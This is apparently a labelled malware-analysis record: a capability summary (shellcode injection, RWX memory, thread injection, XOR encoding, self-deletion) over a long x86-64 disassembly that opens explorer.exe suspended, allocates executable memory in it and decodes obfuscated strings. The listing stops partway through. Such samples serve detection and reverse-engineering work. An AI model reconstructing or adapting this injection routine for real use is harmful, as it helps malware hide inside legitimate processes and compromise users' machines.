Function at 0x14004637c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Self delete
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x490
mov rax, qword [0x14069f448]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor r14d, r14d
mov dword [rbp + 0x10], 0x68
xor edx, edx
lea r8d, [r14 + 0x60]
lea rcx, [rbp + 0x18]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.explorer.exe]
movsd qword [rbp + 0x370], xmm0
mov eax, dword [0x140223190]
mov dword [rbp + 0x378], eax
mov al, byte [0x140223194]
mov byte [rbp + 0x37c], al
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000044
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004647e
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp - 0x40]
mov qword [rbp - 0x50], rbx
test rbx, rbx
je 0x14004647e
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x1400464b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.1402145d0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rax, [rbp + 0x250]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r14
mov r12d, recv
mov qword [rbp + 0x268], r12
mov byte [rbp + 0x250], r14b
xor eax, eax
mov qword [rbp + 0x270], rax
lea r15, [0x14006b26c]
lea ebx, [rax + 1]
cmp byte [0x1406a3910], r14b
jne 0x14004650a
mov qword [0x1406a3908], r15
mov byte [0x1406a3910], bl
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r12
mov byte [rbp + 0x210], r14b
lea rax, [rbp + 0x210]
mov qword [rsp + 0x60], rax
movabs rsi, 0xfeeddccbbaa99887
lea rax, [0x1406a3110]
lea r8, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r10d, 0xffffffff
cmp byte [0x1406a2d01], r14b
jne 0x140046584
mov rdx, rsi
mov rcx, rax
mov rax, rdx
xor rax, r9
mov qword [rcx], rax
sub rdx, r10
add rcx, 8
cmp rcx, r8
jl 0x140046569
mov byte [0x1406a2d01], bl
movabs rdi, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], rdi
movabs r11, 0xaebdccdb0a192837
mov qword [rbp - 0x80], r14
mov eax, r14d
mov cl, r14b
xor cl, 0xae
add eax, ebx
cmp eax, 8
jb 0x1400465a7
mov byte [rbp - 0x80], cl
mov r10b, r14b
mov r9d, r14d
mov r8, r14
mov rsi, r11
xor r11, rsi
mov qword [rsp + 0x58], r11
mov al, byte [rsp + r8 + 0x58]
xor byte [rsp + r8 + 0x50], al
lea eax, [r9*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rax, r14
xor r10b, bl
cmovne rax, qword [rbp - 0x80]
shl rax, cl
xor rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
add r9d, ebx
add r8, rbx
cmp r9d, 8
jb 0x1400465c0
and rax, rdi
xor rax, 0xffffffffffff52ad
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x250]
call fcn.14000a2a0
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
movabs rsi, 0xfeeddccbbaa99887
jb 0x140046681
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004667c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004667c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r12
mov byte [rbp + 0x210], r14b
cmp byte [0x1406a3911], r14b
jne 0x1400466ac
mov qword [0x1406a3908], r15
mov byte [0x1406a3911], bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov ecx, recv
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], r12
movsd xmm0, qword [str.kernel32.dll]
movsd qword [rbp + 0x1b0], xmm0
mov eax, dword [0x1402231a0]
mov dword [rbp + 0x1b8], eax
mov byte [rbp + 0x1bc], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], r14
mov r8d, ecx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1d0]
call fcn.140004c7c
mov r15, qword [rbp + 0x1e0]
lea r14, [rbp + 0x1d0]
mov r12, qword [rbp + 0x1d0]
mov r13, qword [rbp + 0x1e8]
cmp r13, 0x10
cmovae r14, r12
mov qword [rsp + 0x58], r14
cmp byte [0x1406a2b50], 0
jne 0x140046a45
xor edi, edi
mov esi, 0x989680
lea r12, [0x140000000]
movabs r14, 0x101010101010101
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, rsi
jne 0x140046780
imul rbx, rax, 0x64
jmp 0x14004679c
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
inc rax
xor rax, 0x10
shl rax, 0xa
or rax, r14
mov qword [rdi + r12 + 0x6a2b60], rax
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, rsi
jne 0x1400467ec
imul rbx, rax, 0x64
jmp 0x140046808
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
inc rax
xor rax, 0x20
shl rax, 0xb
or rax, r14
mov qword [rdi + r12 + 0x6a2be0], rax
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, rsi
jne 0x140046858
imul rbx, rax, 0x64
jmp 0x140046874
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
inc rax
xor rax, 0x40
shl rax, 0xc
or rax, r14
mov qword [rdi + r12 + 0x6a2c60], rax
add rdi, 8
cmp rdi, 0x80
jl 0x140046768
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, rsi
jne 0x1400468d5
imul rbx, rax, 0x64
jmp 0x1400468f1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
xor edi, edi
lea rsi, [0x1406a2ce0]
mov r14, qword [rsp + 0x58]
lea r13d, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140046919
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [rsi], dl
add edi, r13d
add rsi, r13
cmp edi, 4
jb 0x140046903
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, 0x989680
jne 0x140046951
imul rsi, rax, 0x64
jmp 0x14004696c
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
xor ebx, ebx
lea rdi, [0x1406a2ce8]
mov r12, r13
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004698e
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rsi
cqo
idiv rcx
mov byte [rdi], dl
add ebx, r12d
add rdi, r12
cmp ebx, 8
jb 0x140046978
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, 0x989680
jne 0x1400469c6
imul rsi, rax, 0x64
jmp 0x1400469e1
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
xor ebx, ebx
lea rdi, [0x1406a2cf0]
mov r12, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140046a07
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rsi
cqo
idiv rcx
mov byte [rdi], dl
add ebx, r13d
add rdi, r13
cmp ebx, 0xc
jb 0x1400469f1
mov byte [0x1406a2b50], r13b
mov r13, qword [rbp + 0x1e8]
movabs rdi, 0xfae9e8d7c6b5a493
movabs rsi, 0xfeeddccbbaa99887
test r15, r15
je 0x140046b47
xor ebx, ebx
test r15, r15
je 0x140046b47
lea edi, [rbx + 1]
lea r12, [0x140000000]
xor r8d, r8d
mov dl, byte [r14]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2b60]
mov byte [r14], dl
add r9d, edi
add r10, rdi
cmp r9d, 8
jb 0x140046a76
add r8d, edi
add r11, rdi
cmp r8d, 4
jb 0x140046a70
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2be0]
mov byte [r14], dl
add r8d, edi
add r9, rdi
cmp r8d, 8
jb 0x140046ab1
add r10d, edi
add r11, rdi
cmp r10d, 8
jb 0x140046aab
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2b60]
mov byte [r14], dl
add r10d, edi
add r11, rdi
cmp r10d, 8
jb 0x140046aec
add r8d, edi
add r9, rdi
cmp r8d, 0xc
jb 0x140046ae6
add ebx, edi
add r14, rdi
movsxd rax, ebx
cmp rax, r15
jb 0x140046a63
mov r13, qword [rbp + 0x1e8]
mov r15, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d0]
movabs rdi, 0xfae9e8d7c6b5a493
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
and qword [rbp + 0x200], 0
and qword [rbp + 0x208], 0
lea rdx, [rbp + 0x1d0]
cmp r13, 0x10
cmovae rdx, r12
mov r8, r15
lea rcx, [rbp + 0x1f0]
call fcn.140004c7c
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae rdx, qword [rbp + 0x1f0]
xor r12d, r12d
lea rbx, [0x1406a3110]
cmp byte [0x1406a2d01], r12b
jne 0x140046bf6
mov r8, rsi
mov rcx, rbx
lea r9, [0x1406a3908]
movabs r10, 0xababdbf33353735b
mov r11d, 0xffffffff
mov rax, r8
xor rax, r10
mov qword [rcx], rax
sub r8, r11
add rcx, 8
cmp rcx, r9
jl 0x140046bd2
mov r13d, 1
mov byte [0x1406a2d01], r13b
jmp 0x140046bfc
mov r13d, 1
mov qword [rsp + 0x50], rdi
mov r11d, r12d
mov r9, rdi
mov r8, qword [rbp + 0x200]
test r8, r8
je 0x140046c50
mov r10, rdx
mov r9d, r12d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r13d
add rax, r13
cmp r9d, 8
jb 0x140046c21
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r13d
add r10, r13
movsxd rax, r11d
cmp rax, r8
jb 0x140046c16
movabs rdi, 0xaebdccdb0a192837
mov r14b, byte [rdx]
mov byte [rsp + 0x78], r14b
cmp r8, r13
jbe 0x140046c6e
mov bl, byte [r8 + rdx - 1]
jmp 0x140046c70
mov bl, 0xae
mov qword [rbp - 0x80], r8
mov qword [rsp + 0x68], r8
mov eax, r12d
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, r13d
cmp eax, 8
jb 0x140046c82
mov byte [rbp - 0x80], cl
mov byte [rsp + 0x68], dl
mov sil, r12b
mov r10d, r12d
lea r15, [r8*8]
mov r11, r12
mov r14, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r14
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rbp - 0x80]
xor sil, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x140046caa
movzx eax, bl
imul rcx, rax, 0xff
not rcx
movzx eax, byte [rsp + 0x78]
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
mov qword [rbp + 0x270], rcx
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x250]
call fcn.14000a2a0
nop
mov rdx, qword [rbp + 0x208]
mov ebx, 0x1000
cmp rdx, 0x10
jb 0x140046d9e
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, rbx
jb 0x140046d99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046d99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], recv
mov byte [rbp + 0x1f0], r12b
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140046df8
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, rbx
jb 0x140046df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046df2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x140046e39
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, rbx
jb 0x140046e33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046e33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
nop
lea rcx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0x10
cmovae rcx, qword [rbp + 0x250]
cmp byte [0x1406a2d01], 0
jne 0x140046e9d
movabs r8, 0xfeeddccbbaa99887
lea rdx, [0x1406a3110]
lea rbx, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r12d, 0xffffffff
mov rax, r8
xor rax, r9
mov qword [rdx], rax
sub r8, r12
add rdx, 8
cmp rdx, rbx
jl 0x140046e81
mov byte [0x1406a2d01], r13b
lea rbx, [0x1406a3110]
movabs r9, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], r9
xor r11d, r11d
mov r8, qword [rbp + 0x260]
test r8, r8
je 0x140046eff
mov r10, rcx
xor r9d, r9d
mov dl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], dl
add r9d, r13d
add rax, r13
cmp r9d, 8
jb 0x140046ed0
not dl
movzx eax, dl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r13d
add r10, r13
movsxd rax, r11d
cmp rax, r8
jb 0x140046ec5
movabs rdi, 0xaebdccdb0a192837
movzx r14d, byte [rcx]
cmp r8, r13
jbe 0x140046f19
mov bl, byte [rcx + r8 - 1]
jmp 0x140046f1b
mov bl, 0xae
mov qword [rsp + 0x68], r8
mov qword [rbp - 0x80], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, r13d
cmp eax, 8
jb 0x140046f2c
mov byte [rsp + 0x68], cl
mov byte [rbp - 0x80], dl
xor sil, sil
xor r10d, r10d
lea r13, [r8*8]
xor r11d, r11d
lea r12d, [r10 + 1]
mov r15, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r13
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r15
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x68]
xor sil, r12b
cmovne rdx, qword [rbp - 0x80]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140046f58
movzx eax, bl
imul rbx, rax, 0xff
not rbx
mov rax, r14
shl rax, 7
sub rbx, rax
and rdx, r9
xor rbx, rdx
mov rsi, qword [rbp + 0x270]
cmp rbx, rsi
mov r15, qword [rbp + 0x250]
mov r12, qword [rbp + 0x268]
je 0x14004704f
mov rdi, qword [0x1406a3908]
mov edx, 3
lea rcx, [rbp + 0x338]
call fcn.14002d52c
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rbx
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x338]
call rdi
mov r12, qword [rbp + 0x268]
mov r8, qword [rbp + 0x260]
mov r15, qword [rbp + 0x250]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
lea rdx, [rbp + 0x250]
cmp r12, 0x10
cmovae rdx, r15
lea rcx, [rbp + 0x1b0]
call fcn.140004c7c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xor r13d, r13d
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], r13
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdx, qword [rbp + 0x1b0]
mov r8, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x2a0]
call fcn.140004c7c
mov r15, qword [rbp + 0x2b0]
lea rdi, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0x10
cmovae rdi, qword [rbp + 0x2a0]
mov qword [rsp + 0x58], rdi
lea r12d, [r13 + 1]
cmp byte [0x1406a2b50], r13b
jne 0x1400472d9
mov esi, r13d
lea r14, [0x140000000]
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x60]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r12
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r14 + 0x6a2b60], rax
lea rcx, [rsp + 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r12
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r14 + 0x6a2be0], rax
lea rcx, [rsp + 0x68]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x60], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r12
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r14 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x14004710d
lea rcx, [rsp + 0x60]
call fcn.140063754
mov ebx, r13d
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140047220
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r12d
add rsi, r12
cmp ebx, 4
jb 0x14004720a
lea rcx, [rsp + 0x58]
call fcn.140063754
mov rbx, qword [rax]
mov esi, r13d
lea r14, [0x1406a2ce8]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004726b
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 8
jb 0x140047255
lea rcx, [rsp + 0x60]
call fcn.140063754
mov rbx, qword [rax]
mov esi, r13d
lea r14, [0x1406a2cf0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400472b5
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x14004729f
mov byte [0x1406a2b50], r12b
test r15, r15
je 0x1400473ab
mov ebx, r13d
lea rsi, [0x140000000]
mov r8d, r13d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
mov r9d, r13d
mov r10, r13
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r9d, r12d
add r10, r12
cmp r9d, 8
jb 0x1400472fe
add r8d, r12d
add r11, r12
cmp r8d, 4
jb 0x1400472f8
mov r10d, r13d
lea r11, [0x1406a2ce8]
mov r8d, r13d
mov r9, r13
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r8d, r12d
add r9, r12
cmp r8d, 8
jb 0x140047337
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140047331
mov r8d, r13d
lea r9, [0x1406a2cf0]
mov r10d, r13d
mov r11, r13
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140047370
add r8d, r12d
add r9, r12
cmp r8d, 0xc
jb 0x14004736a
add ebx, r12d
add rdi, r12
movsxd rax, ebx
cmp rax, r15
jb 0x1400472ec
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x1400473ef
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400473ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400473ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0x10
cmovae rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x140047454
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004744f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004744f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140213ea4
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], recv
mov byte [rbp + 0x2a0], r13b
lea rcx, [rbp + 0x250]
call fcn.14002f208
lea rax, [rbp + 0x278]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
mov qword [rbp + 0x288], r13
mov qword [rbp + 0x290], r13
xor r8d, r8d
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x278]
call fcn.140004b9c
nop
xor eax, eax
mov qword [rbp + 0x298], rax
cmp byte [0x1406a3910], r13b
jne 0x1400474db
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3910], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
xor r8d, r8d
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x210]
call fcn.140004b9c
lea rax, [rbp + 0x210]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov qword [rsp + 0x58], rdx
cmp byte [0x1406a2d01], r13b
jne 0x140047581
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rbx, [0x1406a3908]
mov edx, 0xffffffff
movabs r9, 0xababdbf33353735b
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, rdx
add rcx, 8
cmp rcx, rbx
jl 0x140047560
mov byte [0x1406a2d01], r12b
mov rdx, qword [rsp + 0x58]
lea rbx, [0x1406a3110]
movabs rax, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], rax
mov r11d, r13d
mov r9, rax
mov r8, qword [rbp + 0x220]
test r8, r8
je 0x1400475e6
mov r10, rdx
mov r9d, r13d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r12d
add rax, r12
cmp r9d, 8
jb 0x1400475b7
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r12d
add r10, r12
movsxd rax, r11d
cmp rax, r8
jb 0x1400475ac
movabs rdi, 0xaebdccdb0a192837
mov r14b, byte [rdx]
mov byte [rsp + 0x78], r14b
cmp r8, r12
jbe 0x140047604
mov bl, byte [r8 + rdx - 1]
jmp 0x140047606
mov bl, 0xae
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x60], r8
mov eax, r13d
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, r12d
cmp eax, 8
jb 0x140047619
mov byte [rsp + 0x68], cl
mov byte [rsp + 0x60], dl
mov sil, r13b
mov r10d, r13d
lea r15, [r8*8]
mov r11, r13
mov r14, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r14
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x68]
